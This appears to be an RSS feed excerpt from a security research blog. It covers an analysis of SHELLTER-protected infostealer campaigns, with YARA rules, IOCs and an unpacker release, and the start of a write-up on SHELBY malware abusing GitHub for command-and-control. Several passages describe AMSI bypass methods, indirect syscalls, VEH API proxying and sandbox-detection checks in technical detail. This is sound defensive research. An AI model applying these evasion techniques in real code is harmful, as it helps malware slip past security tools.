<td align="left">2026-05-16 16:12:09.711057</td>
<td align="left">2025-05-16 16:12:09.711057</td>
<td align="left">UNKNOWN</td>
</tr>
</tbody>
</table>
<p>Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:</p>
<pre><code class="language-yara">rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = &quot;Elastic Security&quot;  
        last_modified = &quot;2025-07-01&quot;  
        os = &quot;Windows&quot;  
        family = &quot;SHELLTER&quot;  
        threat_name = &quot;SHELLTER_ILLICIT_LICENSE&quot;

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  
</code></pre>
<h3>Memory Scan Evasion</h3>
<p>SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:</p>
<ul>
<li>Decoding and re-encoding instructions at runtime</li>
<li>Removal of execute permissions on inactive memory pages</li>
<li>Reducing footprint, impacting in-memory signatures using YARA</li>
<li>Using Windows internals structures, such as the <code>PEB</code>, as temporary data holding spots</li>
</ul>
<p>SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using <code>NtQueryVirtualMemory</code> and <code>NtProtectVirtualMemory</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image18.png" alt="Initial memory page showing memory not committed" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image13.png" alt="Memory page moves to PAGE_READWRITE" /></p>
<p>Once the page is active, the encoded bytes can be observed at this address, <code>0x7FF5FFCE0000</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image21.png" alt="Encoded trampoline stub" /></p>
<p>SHELLTER decodes this page when active through an XOR loop using the derived <code>SystemTime</code> key from the <code>KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image12.png" alt="Encoding XOR loop for encoding/decoding trampoline stub" /></p>
<p>Below is this same memory page (<code>0x7FF5FFCE0000</code>), showing the decoded trampoline stub for the syscall (<code>ntdll_NtOpenFile</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image36.png" alt="Decoded trampoline stub for NtOpenFile" /></p>
<p>When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image42.png" alt="Memory page moves to PAGE_EXECUTE_READ" /></p>
<p>The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.</p>
<h3>Indirect Syscalls / Call stack Corruption</h3>
<p>As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking <code>syscall</code> directly, it prepares the stack with the address of a clean <code>syscall</code> instruction from <code>ntdll.dll</code>. A <code>ret</code> instruction then pops this address into the <code>RIP</code> register, diverting execution to the <code>syscall</code> instruction stealthily.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image1.png" alt="Trampoline code" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image31.png" alt="Syscall instruction from clean ntdll.dll" /></p>
<p>Below is an example of Elastic Defend <code>VirtualProtect</code> events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image16.png" alt="Elastic Defend eventing for indirect calls and truncated call stacks" /></p>
<h3>Advanced VM/Sandbox Detection</h3>
<p>SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to <code>ZwQuerySystemInformationEx</code> using <code>CPUID</code> and <code>_bittest</code> instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image17.png" alt="Hypervisor detection" /></p>
<h3>Debugger Detection (UM/KM)</h3>
<p>SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the <code>KdDebuggerEnabled</code> flag via the <code>_KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image23.png" alt="Debugging detections" /></p>
<h3>AMSI Bypass</h3>
<p>There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string &quot;AMSI&quot; with null bytes and patches conditional jumps to its opposite.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image9.png" alt="Patch the “AMSI” string in the AMSI functions to null bytes" /></p>
<p>The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the <code>CLSID_Antimalware</code> GUID constant <code>{fdb00e52-a214-4aa1-8fba-4357bb0072ec}</code> within <code>amsi.dll</code>, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image2.png" alt="Patch reference point to CLSID_Antimalware GUID constant" /></p>
<p>The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the <code>DllGetClassObject</code> function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing <code>AmsiInitialize</code> to fail with a <code>CLASS_E_CLASSNOTAVAILABLE</code> exception.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image32.png" alt="AmsiAntimalware ATL Object Map entry in amsi.dll" /></p>
<p>It then calls <code>AmsiInitialize</code> - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The <code>HAMSICONTEXT</code> obtained from <code>AmsiInitialize</code> contains a pointer to an <code>IAntimalware</code> COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function <code>IAntimalware::Scan</code> in this table. To neutralize it, the code searches the memory page containing the <code>IAntimalware::Scan</code> function for a <code>ret</code> instruction.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image8.png" alt="Find ret gadget in IAntimalware::Scan function" /></p>
<p>After finding a suitable gadget, it overwrites the <code>Scan</code> function pointer with the address of the <code>ret</code> gadget. The result is that any subsequent call to <code>AmsiScanBuffer</code> or <code>AmsiScanString</code> will invoke the patched vtable, jump directly to a <code>ret</code> instruction, and immediately return.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image38.png" alt="Overwrite IAntimalware::Scan function pointer with ret gadget" /></p>
<h3>Vectored Exception Handler API Proxy</h3>
<p>There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.</p>
<p>Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to <code>PAGE_READONLY</code>, and attempting to execute code there will cause a <code>STATUS_ACCESS_VIOLATION</code> exception, which is intended. The addresses of these trigger pages are stored in the context structure:</p>
<ul>
<li><code>api_call_trigger_page</code> - The page that will be called to initiate the proxy.</li>
<li><code>api_return_trigger_page</code> - The page that the actual API will return to.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image40.png" alt="Memory Allocation for trigger pages" /></p>
<p>An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using <code>RtlAddVectoredExceptionHandler</code>. A hardcoded magic placeholder value (<code>0xe1e2e3e4e5e6e7e8</code>) in the handler is then overwritten with a pointer to the context structure itself.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image22.png" alt="In-memory patch of the magic value in the exception handler" /></p>
<p>Looking at an example callsite, if the VEH proxy is to be used, the address of <code>GetCurrentDirectoryA</code> will be stored into <code>ctx_struct-&gt;target_API_function</code>, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a <code>STATUS_ACCESS_VIOLATION</code> exception.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image24.png" alt="Example callsite with the option to utilize VEH API proxying" /></p>
<p>Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:</p>
<ul>
<li>Save the original return address</li>
<li>Overwrite the return address on the stack with the address of the return trigger page</li>
<li>Sets the <code>RIP</code> register to the actual API address saved previously in <code>ctx_struct-&gt;target_API_function</code>.</li>
</ul>
<p>The <code>GetCurrentDirectoryA</code> call is then executed. When it finishes, it jumps to the return trigger page, causing a second <code>STATUS_ACCESS_VIOLATION</code> exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, <code>RIP</code> is set to the original return address and the control flow returns to the original call site.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image35.png" alt="Exception handler template" /></p>
<h2>Campaigns</h2>
<p>In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image6.png" alt="Activity Timeline" /></p>
<h3>LUMMA</h3>
<p>LUMMA <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">infostealer</a> was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to <a href="https://app.any.run/tasks/eab157aa-5609-4b33-a571-808246d1cf92">verify</a> (using ANY.RUN) that related files were being hosted on the <a href="https://www.mediafire.com/">MediaFire</a> file hosting platform.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image5.png" alt="Submission data for the LUMMA sample" /></p>
<h3>Want-to-Sell</h3>
<p>On May 16th, Twitter/X user <a href="https://x.com/DarkWebInformer">@darkwebinformer</a> <a href="https://x.com/DarkWebInformer/status/1923472392157790700">posted</a> a screenshot with the caption:</p>
<blockquote>
<p>🚨Shellter Elite v11.0 up for sale on a popular forum</p>
</blockquote>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image19.png" alt="Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post" /></p>
<p>“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.</p>
<h3>ARECHCLIENT2</h3>
<p>Starting around May, we observed campaigns <a href="https://www.reddit.com/r/PartneredYoutube/comments/1ks2svg/skillshare_sponsorship/">targeting</a> content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (<code>.rar</code>), which contain legitimate promotional content packaged with a SHELLTER-protected executable.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image41.png" alt="RAR archive contents" /></p>
<p>This underlying <a href="https://www.virustotal.com/gui/file/748149df038a771986691e3f54afea609ceb9fbfcbec92145beb586bec039e6a/details">executable</a> shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see <a href="https://www.virustotal.com/gui/file/b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad/details">samples</a> with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image25.png" alt="Low detection of SHELLTER-protected ARECHCLIENT2" /></p>
<p>The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to <code>185.156.72[.]80:15847,</code> which was <a href="https://www.elastic.co/jp/security-labs/a-wretch-client">previously identified</a> by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.</p>
<h3>RHADAMANTHYS</h3>
<p>These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image10.png" alt="Distribution through YouTube comments" /></p>
<p>One of the <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">files</a> that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image3.png" alt="Submission data for RHADAMANTHYS sample" /></p>
<p>This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image46.png" alt="RHADAMANTHYS strings" /></p>
<h2>SHELLTER Unpacker</h2>
<p>Elastic Security Labs is <a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">releasing</a> a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.</p>
<p>As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.</p>
<p><strong>For safety reasons, this tool should only be executed within an isolated virtual machine.</strong> During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/image26.png" alt="SHELLTER Unpacker screenshot" /></p>
<h2>Conclusion</h2>
<p>Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.</p>
<p>We expect:</p>
<ul>
<li>This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.</li>
<li>The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
<ul>
<li>Any new tooling will remain a target for malicious actors.</li>
</ul>
</li>
<li>More advanced threats will analyze these samples and incorporate features into their toolsets.</li>
</ul>
<p>Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0100/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1071/">Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/003/">Process Injection: Thread Execution Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/016/">Obfuscated Files or Information: Junk Code Insertion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Content Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1588/">Obtain Capabilities</a></li>
</ul>
<h2>Mitigating SHELLTER</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_from_unusual_microsoft_signed_module.toml">Shellcode from Unusual Microsoft Signed Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_thread_suspension_from_unbacked_memory.toml">Thread Suspension from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_suspicious_executable_memory_mapping.toml">Suspicious Executable Memory Mapping</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Trojan_Shellter {  
    meta:  
        author = &quot;Elastic Security&quot;  
        creation_date = &quot;2025-06-30&quot;  
        last_modified = &quot;2025-06-30&quot;  
        os = &quot;Windows&quot;  
        arch = &quot;x86&quot;  
        category_type = &quot;Trojan&quot;  
        family = &quot;Shellter&quot;  
        threat_name = &quot;Windows.Trojan.Shellter&quot;  
        reference_sample = &quot;c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30&quot;

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shellter">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">SHA-256</td>
<td align="left">Endorphin.exe</td>
<td align="left">SHELLTER-PROTECTED RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">SHA-256</td>
<td align="left">SUPERAntiSpyware.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">SHA-256</td>
<td align="left">Aac3572DramHal_x64.exe</td>
<td align="left">SHELLTER-PROTECTED ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">SHA-256</td>
<td align="left">Branster.exe</td>
<td align="left">SHELLTER-PROTECTED LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">SHA-256</td>
<td align="left">IMCCPHR.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">263ab8c9ec821ae573979ef2d5ad98cda5009a39e17398cd31b0fad98d862892</td>
<td align="left">SHA-256</td>
<td align="left">Pinnacle Studio Advertising materials.rar</td>
<td align="left">LURE ARCHIVE</td>
</tr>
<tr>
<td align="left">eaglekl[.]digital</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">LUMMA C&amp;C server</td>
</tr>
<tr>
<td align="left">185.156.72[.]80</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td align="left">94.141.12[.]182</td>
<td align="left">ipv4-addr</td>
<td align="left">plotoraus[.]shop server</td>
<td align="left">RHADAMANTHYS C&amp;C server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/DarkWebInformer/status/1923472392157790700">https://x.com/DarkWebInformer/status/1923472392157790700</a></li>
<li><a href="https://www.shellterproject.com/shellter-editions-feature-comparison-table/">https://www.shellterproject.com/shellter-editions-feature-comparison-table/</a></li>
<li><a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf</a></li>
<li><a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">https://github.com/elastic/labs-releases/tree/main/tools/shellter</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/taking-shellter/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The Shelby Strategy]]></title>
            <link>https://www.elastic.co/jp/security-labs/the-shelby-strategy</link>
            <guid>the-shelby-strategy</guid>
            <pubDate>Wed, 26 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An analysis of REF8685's abuse of GitHub for C2 to evade defenses.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands</li>
<li>The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability</li>
<li>Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions</li>
</ul>
<h2>Summary</h2>
<p>As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.</p>
<p>The phishing email relies on the victim opening the attached <code>Details.zip</code> file and executing the contained binary, <code>JPerf-3.0.0.exe</code>. This binary utilizes the script-driven installation system, <a href="https://jrsoftware.org/isinfo.php">Inno setup</a>, that contains the malicious application:</p>
<ul>
<li><code>%AppData%\Local\Microsoft\HTTPApi</code>:
<ul>
<li><code>HTTPApi.dll</code> (SHELBYC2)</li>
<li><code>HTTPService.dll</code> (SHELBYLOADER)</li>
<li><code>Microsoft.Http.Api.exe</code></li>
<li><code>Microsoft.Http.Api.exe.config</code></li>
</ul>
</li>
</ul>
<p>The installed <code>Microsoft.Http.Api.exe</code> is a benign .NET executable. Its primary purpose is to side-load the malicious <code>HTTPService.dll</code>. Once loaded, <code>HTTPService.dll</code> acts as the loader, initiating communication with GitHub for its command-and-control (C2).</p>
<p>The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, <code>HTTPApi.dll</code>. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image27.png" alt="SHELBYLOADER &amp; SHELBYC2 Execution Chain" title="SHELBYLOADER &amp; SHELBYC2 Execution Chain" /></p>
<p>As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image2.png" alt="VirusTotal hits for SHELBYC2" title="VirusTotal hits for SHELBYC2" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image24.png" alt="VirusTotal hits for SHELBYLOADER" title="VirusTotal hits for SHELBYLOADER" /></p>
<h2>SHELBYLOADER code analysis</h2>
<h3>Obfuscation</h3>
<p>Both the loader and backdoor are obfuscated with the open-source tool <a href="https://github.com/obfuscar/obfuscar">Obfuscar</a>, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage <a href="https://github.com/de4dot/de4dot">de4dot</a> with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters <code>--strtyp</code> ( the type of string decrypter, in our case <code>delegate</code>)  and <code>--strtok</code> ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image6.png" alt="Deobfuscation using de4dot" title="Deobfuscation using de4dot" /></p>
<h3>Sandbox detection</h3>
<p>SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image17.png" alt="Sandbox detection example" title="Sandbox detection example" /></p>
<h4>Technique 1: WMI Query for System Information</h4>
<p>The malware executes a WMI query (<code>Select * from Win32_ComputerSystem</code>) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as &quot;VMware&quot; or &quot;VirtualBox.&quot;</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image8.png" alt="Sandbox detection based on system information" title="Sandbox detection based on system information" /></p>
<h4>Technique 2: Process Enumeration</h4>
<p>The malware scans the running processes for known virtualization-related services, including:</p>
<ul>
<li><code>vmsrvc</code></li>
<li><code>vmtools</code></li>
<li><code>xenservice</code></li>
<li><code>vboxservice</code></li>
<li><code>vboxtray</code></li>
</ul>
<p>The presence of these processes tells the malware that it may be running in a virtualized environment.</p>
<h4>Technique 3: File System Checks</h4>
<p>The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:</p>
<ul>
<li><code>C:\Windows\System32\drivers\VBoxMouse.sys</code></li>
<li><code>C:\Windows\System32\drivers\VBoxGuest.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmhgfs.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmci.sys</code></li>
</ul>
<h4>Technique 4: Disk Size Analysis</h4>
<p>The malware checks the size of the <code>C:</code> volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image23.png" alt="Sandbox detection based on disk size" title="Sandbox detection based on disk size" /></p>
<h4>Technique 5: Parent Process Verification</h4>
<p>The malware examines its parent process. If the parent process is not <code>explorer.exe</code>, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image15.png" alt="Sandbox detection based on process tree" title="Sandbox detection based on process tree" /></p>
<h4>Technique 6: Sleep Time Deviation Detection</h4>
<p>The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image5.png" alt="Sandbox detection based on sleep time deviation" title="Sandbox detection based on sleep time deviation" /></p>
<h4>Technique 7: WMI Query for Video Controller</h4>
<p>The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: <code>virtual</code> or <code>vmware</code> or <code>vbox</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image21.png" alt="Sandbox detection based on the name of the video controller" title="Sandbox detection based on the name of the video controller" /></p>
<h3>Core Functionality</h3>
<p>The malware's loader code begins by initializing several variables within its main class constructor. These variables include:</p>
<ul>
<li>A GitHub account name</li>
<li>A private repository name</li>
<li>A Personal Access Token (PAT) for authenticating and accessing the repository</li>
</ul>
